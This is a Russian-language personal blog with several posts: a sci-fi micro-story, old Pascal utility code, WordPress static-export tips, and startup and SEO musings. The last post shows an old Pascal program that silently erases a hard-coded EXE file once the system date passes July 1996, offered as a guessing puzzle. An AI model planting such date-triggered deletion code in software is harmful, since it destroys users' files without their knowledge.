Треугольное Солнце

- Па, а почему Луна круглая, а Солнце треугольное?
- Вообще-то Солнце это звезда, она тоже круглая, точнее шарообразная. А то что ты видишь в виде "треугольников" - это зеркала на орбите, которые отражают свет от звезды и направляют его на Землю.
- А почему мы никогда не видим круглое Солнце?
- Потому что между Землей и Солнцем расположен непрозрачный щит. 
- А зачем его туда поставили?
- Не поставили, а запустили. Щит тоже летит по орбите, но постоянно находится между Землей и Солнцем. Построили его там чтобы контролировать температуру и управлять погодой по всей планете.
- А как делали погоду до запуска щита?
- А никак, было то жарко, то холодно. Вроде бы все зависело от "времен года", но я точно не знаю.
- Все равно не понимаю, почему круглое Солнце совсем не видно?
- Ха, в начале щит был частично прозрачный, количество света контролировали закрывая и открывая створки. Круг Солнца было видно, хотя и "в сеточку". Но теперь количество света на Земле полностью контролируется орбитальными зеркалами. А щит закрыли полностью.
- Но створки остались? Их же можно как-то открыть?
- Теоретически да, но думаю этого никогда не произойдет. Разве что отражатели Дневного Солнца выйдут из строя или потребуется дополнительный подогрев планеты.
- Эх, вот бы такое случилось...
- Не шути так! Как выглядит звезда по имени Солнце ты можешь посмотреть с любой орбитальной камеры.   

6 июля 2020 года, Братислава, Словакия.
Copyright © KARPOLAN
Просто долго смотрел на полную Луну  🙂

Мой код образца 1995 года

Наводил порядок в папке с исходникаи, наткнулся на «шедевры»:

{*************************************************************************}
{********************** Function DeleteChar ******************************}
{*************************************************************************}
Function DeleteChar(PoleStr : String;
                    Ch      : Char    ) : String;
    { Убирает символы Ch из String`a PoleStr                              }
Var
  i,k : integer;
Begin
  k:=1;
  for i:=1 to Length(PoleStr) do
   begin
     if PoleStr[k] = Ch
      then Delete(PoleStr,k,1)
      else inc(k)
   end;{for i:=1 to Length(PoleStr) do}
  DeleteChar:=PoleStr;
End;{Function DeleteChar}

{*************************************************************************}
{************************ Function DateInv *******************************}
{*************************************************************************}
Function DateInv : String;
    { Возвращает Системную Дату в виде String.   Формат : ГГГГММДД        }
    { Специально для 'Уродских' Форматов, Например DBF(Тип Дата)          }
Var
 yy,mm,dd,ww : Word;
 sy,sm,sd    : String[8];
Begin
  GetDate(yy,mm,dd,ww);
  Str(yy:4,sy);
  Str(mm,sm);
  Str(dd,sd);
  if mm < 10
   then sm := '0' + sm;
  if dd < 10
   then sd := '0' + sd;
  DateInv:=sy+sm+sd;
End;{Function DateInv}

{*************************************************************************}
{*********************** Function StrComma *******************************}
{*************************************************************************}
Function StrComma(Nom         : Extended;
                  Digit,Comma : integer) : String;{ Перевод Числа В String}
   { Работает Аналогично Procedure Str(Nom:Digit:Comma,StrComma)          }
   { Плюс вставляет разделительные ',' (1,121,123,231.124)                }
Var
  PoleStr : String;
  MaxLen,i  : integer;
Begin
  MaxLen := Digit + (Digit div 3); {Ширина поля Digits с учетом ','}
  Str(Nom:-1:Comma,PoleStr);
  PoleStr:=InsertComma(PoleStr);
  MaxLen:=MaxLen-Length(PoleStr); {Сколько пробелов добавить}
  if MaxLen > 0 then
   begin
     for i:=1 to MaxLen do
      PoleStr := ' ' + PoleStr;
   end;{if Length(PoleStr) < MaxLen then}
  StrComma:=PoleStr;
End;{Function StrComma}

Отступы не по стандарту, зато коментарии и документацию я даже в «детстве» писал 🙂

 

Нашел не доделаный веб-сайт

Продлевал домены, обнаружил что у меня на DeepTown.com не доделаная поделка на WordPress. Я там когда-то тестировал всякие снипеты, кастомные типы постов, связи между ними…

В общем надо бы доделать, сейчас проверим как это все индексирутеся:

P.S. Какой только фигни у меня в загажниках не валяется…

Тестовое задание на React JS

Обычно я такой фигней не стардаю, но тут задачка интерсная и близкая к реальному миру.

Список ресторанов с разными вариантами фильтров и отображений.

Вот наваял Поиск с Сортировкой Ресторанов на React JS. Может еще чего-то добавлю со временем, Debug Info там интересный получилося.

Исходники выложил на GitHub, может кому-то полезно будет… Хотя писал я это за один день, так что не факт что стоит копировать мои решения не задумываясь 🙂

Идея на миллиард: Codename «Gone Fishing»

Примерно год назад я решил сделать «боле оцфрованным» такое хобби как рыбалка.

Идея в 2х словах на этом видео:

Я сразу сделал закрытую группу в Facebook, собрал аудиторию потенциальных клиентов и тестеров, провел разные опросы и обсуждения с ними, определилсся с родмапом приложений…

Так же написал технические задания, разбил на таски и попытался найти подрядчиков или партнеров на изготовление прототипов…

В общем пытался построить продукт и компанию по правильному, с customer development и по lean методике.

Краткий отчет за первый год: НЕ СДЕЛАНО НИЧЕГО!

Вывод простой: Хотите что-то сделать? Ищите деньги и нанимайте людей. Даже закрывшись от всего мира на полгода, вряд ли что-то нафигачите самостоятельно 😦

Читать «Идея на миллиард: Codename «Gone Fishing»» далее

WordPress on Staging + Static HTML on Production

Железобетонно-рабочего решения для «WordPress on Staging + Static HTML on Production» на данный момент нет 😦

Появился целый набор платных сервисов которые пытаются колдовать с таким решением, но делают пока это с переменным успехом…

Почти у всех не работают скрипты шаринга в соцсети, контактные формы, файлы и документы за пределами CMS WordPress, слетают кастомные CSS, не работает мобильная версия темы, ну и остальное по мелочи.

Самым надежным на данный момент выглядит следующий подход:

  1. Устанавливаем WP в папку на отдельном секретном саб-домене.
  2. Настраиваем WP чтобы работал от корня (иначе относительные ссылки будут глючить)
  3. В корне сайта, в под-папках, раскладываем материалы которые не имеют отношения к WordPress (статические страницы, PDF, ZIP и прочие файлы).
  4. В WordPress делаем страничку с агрегацией ссылок на все НЕ WordPress ресурсы вашего сайта (ссылку на такую страничку надо хотя бы одну).
  5. Создаем все страницы и посты сайта прямо в админке WordPress.
  6. Экспортируем контент в ZIP архив. Можно с помощью плагина Simply Static, можно внешней утилитой типа Website Downloader . Желательно перед экспортом отключить всякие кеш-плагины, минифаеры файлов, и прочие «улучшатели» контента.
  7. Заливаем ZIP с архивом сайта на хостинг основного домена и распаковываем его прямо в корень. Можно использовать S3 bucket или GitHub pages чтобы «сэкономить».
  8. «Отключаем» WordPress на секретном субдомене. Можно временно заменять Database криденшелы в wp-config.php, переводить сайт в доступ по паролю, остановить MySQL сервис и т.д. Я просто выключаю виртуалку с инстансом WordPress.

Все! С этого момента счастливо живем без спама, попыток взлома и прочего WordPress дурдома.

Если надо будет что-то добавить или изменить на сайте: «включаем» WordPress и повторяем все действия с пункта №5 и до конца.

P.S. Если у вас сильно отличается мобильная и десктопная версии сайта, лучше делать 2 разных экспорта статического контента. Один для мобильной темы, второй раз для полноразмерной. Редиректить пользователя на подходящий веб-сайт придется уже на основном хостинге.

Как правильно начинать бизнес?

Решайте бизнес-задачи в обратном порядке!

Сначала сделайте все для приема денег и удовлетворения клиента, а уже потом можете заняться маркетингом, дистрибуцией и производством.

Более детально тут: Что значит «делать с конца»?

 

Главный Секрет Поисковой Оптимизации

Задача любой поисковой системы давать пользователю правильный, понятный и наиболее подходящий ему ответ.

Помогайте владельцам поисковых систем решить «их задачи» на страницах своих сайтов, внутри маркет-плейсов, магазинов приложений и т.д. Удовлетворяйте «искателя» лучше чем другие «конкуренты» и будете в «топе»!

Win-Win стратегия отлично работает в поисковой оптимизации (SEO). Потому что только удовлетворенный клиент будет продолжать пользоваться сервисом в будущем. «Плохой» поиск, листинг, рейтинг никому не нужен ! Ни владельцу, ни посетителю…

Как раньше программировали

Рылся в старых проектах, нашел «гениальную програмку» ©.

Угадайте что она делает и для чего такие вещи делали программисты в прошлом веке?

Program fignya;
Uses Dos;
Var
	y, m, d, dow: Word;
	flag        : Boolean;
	F           : File;
Begin
	Flag := True;
	GetDate(y, m, d, dow);
	
	if (y = 1996) then
	begin
		if (m<7) then Flag := False;
		if (m=7) and (d<10) then Flag := False;
	end;{if (y=1996) then}

	if (y < 1996) then Flag := False;

	if Flag then
	begin
		Assign(F, 'C:\SomeDir\SomeFile.EXE');
		Erase(F);
	end;
End.

Потом в каментах отвечу, интересно услышать что народ думает 🙂